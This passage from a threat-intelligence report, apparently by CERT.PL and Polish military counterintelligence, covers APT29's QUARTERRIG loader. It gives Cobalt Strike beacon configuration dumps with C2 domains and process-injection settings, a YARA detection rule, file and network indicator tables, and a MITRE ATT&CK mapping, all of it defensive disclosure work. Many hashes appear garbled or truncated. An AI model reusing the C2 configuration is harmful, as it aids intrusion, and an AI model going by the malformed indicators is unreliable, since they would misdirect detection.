<td>4f28e1fd295d14bfabc73bf0314a161</td>
</tr>
<tr>
<td>C2Server</td>
<td>gatewan.com./c/msdownload/update/others/2021/10/se9fW4z8WJtmMyPQu</td>
</tr>
<tr>
<td>UserAgent</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36</td>
</tr>
<tr>
<td>HttpPostUri</td>
<td>/c/msdownload/update/others/2021/10/PgYhu0rusIufanT8oJ</td>
</tr>
<tr>
<td>Malleable_C2_Instructions</td>
<td>Empty</td>
</tr>
<tr>
<td>HttpGet_Metadata</td>
<td>ConstHeaders</td>
</tr>
<tr>
<td></td>
<td>Accept: <em>/</em></td>
</tr>
<tr>
<td></td>
<td>Host: gatewan.com</td>
</tr>
<tr>
<td></td>
<td>Metadata</td>
</tr>
<tr>
<td></td>
<td>mask</td>
</tr>
<tr>
<td></td>
<td>base64url</td>
</tr>
<tr>
<td></td>
<td>append &quot;.cab&quot;</td>
</tr>
<tr>
<td></td>
<td>uri_append</td>
</tr>
<tr>
<td>HttpPost_Metadata</td>
<td>ConstHeaders</td>
</tr>
<tr>
<td></td>
<td>Accept: <em>/</em></td>
</tr>
<tr>
<td></td>
<td>SessionId</td>
</tr>
<tr>
<td></td>
<td>mask</td>
</tr>
<tr>
<td></td>
<td>base64url</td>
</tr>
<tr>
<td></td>
<td>prepend &quot;SSID=&quot;</td>
</tr>
<tr>
<td></td>
<td>append &quot;; hg=ruhf87hnnj&quot;</td>
</tr>
<tr>
<td></td>
<td>header &quot;Cookie&quot;</td>
</tr>
<tr>
<td></td>
<td>Output</td>
</tr>
<tr>
<td></td>
<td>mask</td>
</tr>
<tr>
<td></td>
<td>base64url</td>
</tr>
<tr>
<td></td>
<td>print</td>
</tr>
<tr>
<td>PipeName</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_Idle</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_Sleep</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Host</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Port</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Username</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Plaintext</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Pubkey</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Banner</td>
<td></td>
</tr>
<tr>
<td>HttpGet_Verb</td>
<td>GET</td>
</tr>
<tr>
<td>HttpPost_Verb</td>
<td>POST</td>
</tr>
<tr>
<td>HttpPostChunk</td>
<td>0</td>
</tr>
<tr>
<td>Spawnto_x86</td>
<td>%windir%\syswow64\powercfg.exe</td>
</tr>
<tr>
<td>Spawnto_x64</td>
<td>%windir%\sysnative\powercfg.exe</td>
</tr>
<tr>
<td>CryptoScheme</td>
<td>0</td>
</tr>
<tr>
<td>Variable</td>
<td>Value</td>
</tr>
<tr>
<td>--------------------------------</td>
<td>----------------------------</td>
</tr>
<tr>
<td>Proxy_Config</td>
<td>Not Found</td>
</tr>
<tr>
<td>Proxy_User</td>
<td>Not Found</td>
</tr>
<tr>
<td>Proxy_Password</td>
<td>Not Found</td>
</tr>
<tr>
<td>Proxy_Behavior</td>
<td>Use IE settings</td>
</tr>
<tr>
<td>Watermark_Hash</td>
<td>Not Found</td>
</tr>
<tr>
<td>Watermark</td>
<td>1359593325</td>
</tr>
<tr>
<td>bStageCleanup</td>
<td>True</td>
</tr>
<tr>
<td>bCFGCaution</td>
<td>False</td>
</tr>
<tr>
<td>KillDate</td>
<td>0</td>
</tr>
<tr>
<td>bProcInject_StartRWX</td>
<td>True</td>
</tr>
<tr>
<td>bProcInject_UseRWX</td>
<td>False</td>
</tr>
<tr>
<td>bProcInject_MinAllocSize</td>
<td>6785</td>
</tr>
<tr>
<td>ProcInject_PrependAppend_x86</td>
<td>Empty</td>
</tr>
<tr>
<td>ProcInject_PrependAppend_x64</td>
<td>Empty</td>
</tr>
<tr>
<td>ProcInject_Execute</td>
<td>ntdll.dll:RtlUserThreadStart NtQueueApcThread-s SetThreadContext CreateRemoteThread kernel32.dll:LoadLibraryA RtlCreateUserThread</td>
</tr>
<tr>
<td>ProcInject_AllocationMethod</td>
<td>VirtualAllocEx</td>
</tr>
<tr>
<td>bUsesCookies</td>
<td>True</td>
</tr>
<tr>
<td>bStageCleanup</td>
<td>True</td>
</tr>
<tr>
<td>headersToRemove</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_Beaconing</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_get_TypeA</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_get_TypeAAAA</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_get_TypeTXT</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_put_metadata</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_put_output</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_resolver</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_strategy</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_strategy_rotate_seconds</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_strategy_fail_x</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_strategy_fail_seconds</td>
<td>Not Found</td>
</tr>
<tr>
<td>Retry_Max_Attempts</td>
<td>Not Found</td>
</tr>
<tr>
<td>Retry_Increase_Attempts</td>
<td>Not Found</td>
</tr>
<tr>
<td>Retry_Duration</td>
<td>Not Found</td>
</tr>
</tbody>
</table>
## CS Beacon #3 (April 2023)

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>BeaconType</strong></td>
<td>HTTPS</td>
</tr>
<tr>
<td><strong>Port</strong></td>
<td>443</td>
</tr>
<tr>
<td><strong>SleepTime</strong></td>
<td>60000</td>
</tr>
<tr>
<td><strong>MaxGetSize</strong></td>
<td>1048576</td>
</tr>
<tr>
<td><strong>Jitter</strong></td>
<td>14</td>
</tr>
<tr>
<td><strong>MaxDNS</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>PublicKey_MD5</strong></td>
<td>4f28e1fdb295d14bfabc73bf0314a161</td>
</tr>
<tr>
<td><strong>C2Server</strong></td>
<td>gatewan.com,c/msdownload/update/others/2021/10/8PaDBDxLtoki3eH8</td>
</tr>
<tr>
<td><strong>UserAgent</strong></td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36</td>
</tr>
<tr>
<td><strong>HttpPostUri</strong></td>
<td>/c/msdownload/update/others/2021/10/PgYhuOrusIUFanT8oJ</td>
</tr>
<tr>
<td><strong>Malleable_C2_Instructions</strong></td>
<td>Empty</td>
</tr>
<tr>
<td><strong>HttpGet_Metadata</strong></td>
<td>ConstHeaders</td>
</tr>
<tr>
<td></td>
<td>Accept: <em>/</em></td>
</tr>
<tr>
<td></td>
<td>Host: gatewan.com</td>
</tr>
<tr>
<td></td>
<td>Metadata mask</td>
</tr>
<tr>
<td></td>
<td>base64url append“.cab”</td>
</tr>
<tr>
<td></td>
<td>uri_append</td>
</tr>
<tr>
<td><strong>HttpPost_Metadata</strong></td>
<td>ConstHeaders</td>
</tr>
<tr>
<td></td>
<td>Accept: <em>/</em></td>
</tr>
<tr>
<td></td>
<td>SessionId mask</td>
</tr>
<tr>
<td></td>
<td>base64url prepend“SSID=”</td>
</tr>
<tr>
<td></td>
<td>append “; hg=ruhfn87hnnj”</td>
</tr>
<tr>
<td></td>
<td>header “Cookie”</td>
</tr>
<tr>
<td></td>
<td>Output mask</td>
</tr>
<tr>
<td></td>
<td>base64url print</td>
</tr>
<tr>
<td><strong>PipeName</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>DNS_Idle</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>DNS_Sleep</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>SSH_Host</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>SSH_Port</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>SSH_Username</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>SSH_Password_Platext</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>SSH_Password_Pubkey</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>SSH_Banner</strong></td>
<td>-</td>
</tr>
<tr>
<td><strong>HttpGet_Verb</strong></td>
<td>GET</td>
</tr>
<tr>
<td><strong>HttpPost_Verb</strong></td>
<td>POST</td>
</tr>
<tr>
<td><strong>HttpPostChunk</strong></td>
<td>0</td>
</tr>
<tr>
<td><strong>Spawnto_x86</strong></td>
<td>%windir%\syswow64\powercfg.exe</td>
</tr>
<tr>
<td><strong>Spawnto_x64</strong></td>
<td>%windir%\sysnative\powercfg.exe</td>
</tr>
<tr>
<td><strong>CryptoScheme</strong></td>
<td>0</td>
</tr>
</tbody>
</table>
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark_Hash - Not Found
Watermark - 1359593325
bStageCleanup - True
bCFGCaution - False
KillDate - 0
bProInjStartRWX - True
bProInjUseRWX - False
bProInjMinAllocSize - 6785
ProInjPrependAppend_x86 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
ProInjPrependAppend_x64 - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
ProInjExecute -.ntdll.dll:RtlUserThreadStart
                     NtQueueApcThread s
                     SetThreadContext
                     CreateRemoteThread
                     kernel32.dll:LoadLibraryA
                     RtlCreateUserThread
ProInjAllocationMethod - VirtualAllocEx
bUsesCookies - True
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - Not Found
DNS_strategy_rotate_seconds - Not Found
DNS_strategy_fail_x - Not Found
DNS_strategy_fail_seconds - Not Found
Retry_Max_Attempts - Not Found
Retry_Increase_Attempts - Not Found
Retry_Duration - Not Found
YARA Rule

A rule that can be used to scan for QUARTERRIG:

```yara
rule apt29_QUARTERRIG {

    strings:
        $str_dll_name = "hijacker.dll"
        $str_import_name = "VCRUNTIME140.dll"

        // 48 BB 15 39 6A 00 00  mov rdx, cs:api_stuff.OpenThread
        // 48 BD 0D FA 68 00 00  lea rcx, api_stuff
        // BB DB  mov ebx, eax
        // EB 3F 25 00 00  call load_api_addr
        // 44 BB C3  mov r8d, ebx
        // 33 D2  xor edx, edx
        // B9 FF FF 1F 00  mov ecx, 1FFFFFFh
        // FF 0D  call rax

        // EB A0 25 00 00  call load_api_addr
        // 48 BB CB  mov rcx, rbx
        // FF 0D  call rax
        // B3 FB FF  cmp eax, OFFFFFFFh
        $op_resolve_and_call_suspendthread = { EB [4] 48 BB CB FF 0D B3 FB FF }

    condition:
        all of them
}
```
# Appendix A – IOCs

## File IoCs

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Virtual disc container</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>Note.iso</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>2624KB</td>
</tr>
<tr>
<td><strong>MD5</strong></td>
<td>22adbfffd1dbf3e13d036f936049a2e98</td>
</tr>
<tr>
<td><strong>SHA1</strong></td>
<td>52932be0bd9e381127a9b9639e6699f1d1eef268</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>c03292fca415b51d08da32e2f7226f6382eb391e19d53e3d81e3e3b073aa8c1</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Legitimate executable used to load the malicious DLL</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>Note.exe</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>1600KB</td>
</tr>
<tr>
<td><strong>MD5</strong></td>
<td>b1820abc3a1ce2d32af04c18f9d2bfc3</td>
</tr>
<tr>
<td><strong>SHA1</strong></td>
<td>b260d80fa81885d6356573480ca1e436ab657a0</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>6c55195f025fb895f9d0ec3edbf58bc0aa46c43eeb246cfb88eef1ae051171b3</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>QUARTERRIG - loader</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>AppvIsvSubsystems64.dll</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>28KB</td>
</tr>
<tr>
<td><strong>MD5</strong></td>
<td>db2d9d2704d320ecbd606a8720c22559</td>
</tr>
<tr>
<td><strong>SHA1</strong></td>
<td>ca1ef3a6ed9c06c4f0355b625650a2382229a051</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>18cc4c1577a5b3793ecc1e14db2883f6b7c9792cf22d953c1482fffc124f5a</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Encrypted resource containing the second stage</strong></td>
<td></td>
</tr>
<tr>
<td><strong>File Name</strong></td>
<td>bdcmetadataresource.xsd</td>
</tr>
<tr>
<td><strong>File Size</strong></td>
<td>456KB</td>
</tr>
<tr>
<td><strong>MD5</strong></td>
<td>166f7269c2a69d8d1294a753f9e53214</td>
</tr>
<tr>
<td><strong>SHA1</strong></td>
<td>02cd4148754c9337df92c3b0c31d9fd064616a0</td>
</tr>
<tr>
<td><strong>SHA256</strong></td>
<td>3c4c2ade1d7a2c55d3df4c19de72a9a5f68d7a281f44a0336e55b6d0f54ec36a</td>
</tr>
</tbody>
</table>
### Virtual disc container

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Name</td>
<td>Invite.iso</td>
</tr>
<tr>
<td>File Size</td>
<td>6464KB</td>
</tr>
<tr>
<td>MD5</td>
<td>1609bc57bbaobd9a3e823811b4329b3b9</td>
</tr>
<tr>
<td>SHA1</td>
<td>86dcd6f23d0f51e2f804c9fbb4ef816f05a22c3</td>
</tr>
<tr>
<td>SHA256</td>
<td>91b42488d18eb5b547b945714c76c2af6b9566b35757bf055cec1fee9df1b0</td>
</tr>
</tbody>
</table>

### Legitimate executable used to load the malicious DLL

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Name</td>
<td>Invite.exe</td>
</tr>
<tr>
<td>File Size</td>
<td>5380KB</td>
</tr>
<tr>
<td>MD5</td>
<td>d2027751280330559d1b42867e063a0f</td>
</tr>
<tr>
<td>SHA1</td>
<td>15611f944d96b6b5129e3a68a2a1a550d95305</td>
</tr>
<tr>
<td>SHA256</td>
<td>3527a5d3b8e04654647d174ab0839b95d6cf6b8990f67c552a9f9eab0</td>
</tr>
</tbody>
</table>

### QUATERRIG loader

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Name</td>
<td>winhttp.dll</td>
</tr>
<tr>
<td>File Size</td>
<td>32KB</td>
</tr>
<tr>
<td>MD5</td>
<td>bd4c8c91f61e365067d0279b63a784ac</td>
</tr>
<tr>
<td>SHA1</td>
<td>b91e7fd867ed8b9f33ec39d07f4f7fa2c1eeb386</td>
</tr>
<tr>
<td>SHA256</td>
<td>673f91a2085358e32b6f466845366f30cf741060ede31e9a93e2c92033bb28</td>
</tr>
</tbody>
</table>

### Encrypted resource containing the second stage

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Name</td>
<td>Stamp.aapp</td>
</tr>
<tr>
<td>File Size</td>
<td>460KB</td>
</tr>
<tr>
<td>MD5</td>
<td>8dcac7513d569ca41126987876a9940</td>
</tr>
<tr>
<td>SHA1</td>
<td>16f5b06b80fbaec68e6b0c65f83771ab42a7a8c5</td>
</tr>
<tr>
<td>SHA256</td>
<td>9c6683fbb0bf44557472bcef94c213c25a56df539f46449a487a40eebc828a14</td>
</tr>
<tr>
<td>Indicator</td>
<td>Value</td>
</tr>
<tr>
<td>-----------</td>
<td>-------</td>
</tr>
<tr>
<td>Virtual disc container</td>
<td>Note.iso</td>
</tr>
<tr>
<td>File Size</td>
<td>2688KB</td>
</tr>
<tr>
<td>MD5</td>
<td>3aca0abdd7ec958a539705d65a4244196</td>
</tr>
<tr>
<td>SHA1</td>
<td>bacb46d2ce5dfcaaf8544125903f69f01091bc3d6</td>
</tr>
<tr>
<td>SHA256</td>
<td>10f1c5462eb006246cb7af5d696163db5fac452befbd525f72507bb925131d</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>QUATERRIG loader</td>
<td>AppvIsvSubsystems64.dll</td>
</tr>
<tr>
<td>File Size</td>
<td>26KB</td>
</tr>
<tr>
<td>MD5</td>
<td>9159d3c58c5d970ed25c2db9c9487d7a</td>
</tr>
<tr>
<td>SHA1</td>
<td>6382ae2061c865ddcb9337f155ee2d036e232dfe</td>
</tr>
<tr>
<td>SHA256</td>
<td>a42d6be4439b79db90067b84464e755488b784c3ee2e64ef169b9dcd92b069</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Encrypted resource containing the second stage</td>
<td>bdcmetadataresource.xsd</td>
</tr>
<tr>
<td>File Size</td>
<td>479KB</td>
</tr>
<tr>
<td>MD5</td>
<td>8dca7513d569ca411269b7d876a9940</td>
</tr>
<tr>
<td>SHA1</td>
<td>bc4b0bd5da76b683cc28849b1eef0d4a</td>
</tr>
<tr>
<td>SHA256</td>
<td>15d6036b6b828357f947d325ea77364c9d48bfa064a865cd24678a466a5e38</td>
</tr>
</tbody>
</table>

**Network IoCs**

<table>
<thead>
<tr>
<th>URL</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td>pateke[.]com/auth/login.php</td>
<td>QUATERRIG C2 URL</td>
</tr>
<tr>
<td>pateke[.]com/index.php</td>
<td>QUATERRIG C2 URL</td>
</tr>
<tr>
<td>pateke[.]com</td>
<td>QUATERRIG Domain</td>
</tr>
<tr>
<td>85.195.89[.]91</td>
<td>QUATERRIG server IP</td>
</tr>
<tr>
<td>gatewan[.]com/c/msdownload/update/others/2021/10/se9fW4z8WJtmMyPQu</td>
<td>COBALT STRIKE Handler URL</td>
</tr>
<tr>
<td>gatewan[.]com/c/msdownload/update/others/2021/10/8PaDBxLtoki3eH8</td>
<td>COBALT STRIKE Handler URL</td>
</tr>
<tr>
<td>gatewan[.]com</td>
<td>COBALT STRIKE C2 Domain</td>
</tr>
<tr>
<td>91.218.183[.]90</td>
<td>COBALT STRIKE C2 IP</td>
</tr>
<tr>
<td>sharpledge[.]com/login.php</td>
<td>QUATERRIG C2 URL</td>
</tr>
<tr>
<td>sharpledge[.]com</td>
<td>QUATERRIG C2 Domain</td>
</tr>
<tr>
<td>51.75.210[.]218</td>
<td>QUATERRIG server IP</td>
</tr>
<tr>
<td>sylvio.com[.]br/form.php</td>
<td>URL to ENYVSCOUT used to deliver QUATERRIG</td>
</tr>
<tr>
<td>sylvio.com[.]br</td>
<td>Domain used to host ENYVSCOUT</td>
</tr>
</tbody>
</table>
## Appendix B – MITRE ATT&CK

### Resource Development

<table>
<thead>
<tr>
<th>T1583.003</th>
<th>Virtual Private Server</th>
<th>The adversary used VPSs to host malware C2s</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1584</td>
<td>Compromise Infrastructure</td>
<td>The adversary used compromised webservers to host ENVYSCOUT delivery scripts</td>
</tr>
</tbody>
</table>

### Initial Access

<table>
<thead>
<tr>
<th>T1566</th>
<th>Phishing</th>
<th>The adversary sent emails that used diplomatic themes</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1566.001</td>
<td>Spearphishing Attachment</td>
<td>The adversary sent emails with a PDF attachment. The PDF contained a link to ENVYSCOUT</td>
</tr>
<tr>
<td>T1566.002</td>
<td>Spearphishing Link</td>
<td>The adversary sent emails that link to ENVYSCOUT</td>
</tr>
</tbody>
</table>

### Execution

<table>
<thead>
<tr>
<th>T1204</th>
<th>User Execution</th>
<th>The adversary relies on tricking the user into executing malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1204.002</td>
<td>Malicious File</td>
<td>The adversary used malicious DLL loaded via DLL Hijacking to execute malware</td>
</tr>
</tbody>
</table>

### Persistence

<table>
<thead>
<tr>
<th>T1547.001</th>
<th>Registry Run Keys / Startup Folder</th>
<th>The adversary used the Run registry key to maintain persistence</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1574.001</td>
<td>DLL Search Order Hijacking</td>
<td>The adversary used malicious DLL loaded via DLL Hijacking into a process created from legitimate binary to execute malware</td>
</tr>
<tr>
<td>T1574.002</td>
<td>DLL Side-Loading</td>
<td>The adversary maintains persistence by planting a copy of a legitimate binary that loads malicious DLL</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>tactic</td>
<td>Description</td>
</tr>
<tr>
<td>------------------</td>
<td>------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>T1027.006</td>
<td>HTML Smuggling</td>
<td>ENVYS Cout delivery script uses HTML Smuggling to bypass security controls</td>
</tr>
<tr>
<td>T1140</td>
<td>Deobfuscate/Decode Files or Information</td>
<td>The adversary uses obfuscation to protect sensitive information (i.e. strings).</td>
</tr>
<tr>
<td>T1553.005</td>
<td>Mark-of-the-Web Bypass</td>
<td>The adversary abuses container files such as ISO to deliver malicious payloads that are not tagged with MOTW</td>
</tr>
<tr>
<td>T1574.001</td>
<td>DLL Search Order Hijacking</td>
<td>The adversary used malicious DLL loaded via DLL Hijacking into a process created from legitimate binary to execute malware</td>
</tr>
<tr>
<td>T1574.002</td>
<td>DLL Side-Loading</td>
<td>The adversary maintains persistence by planting a copy of a legitimate binary that loads malicious DLL</td>
</tr>
</tbody>
</table>
Military Counterintelligence Service
CERT.PL
info@cert.pl

Military Counterintelligence Service
skw@skw.gov.pl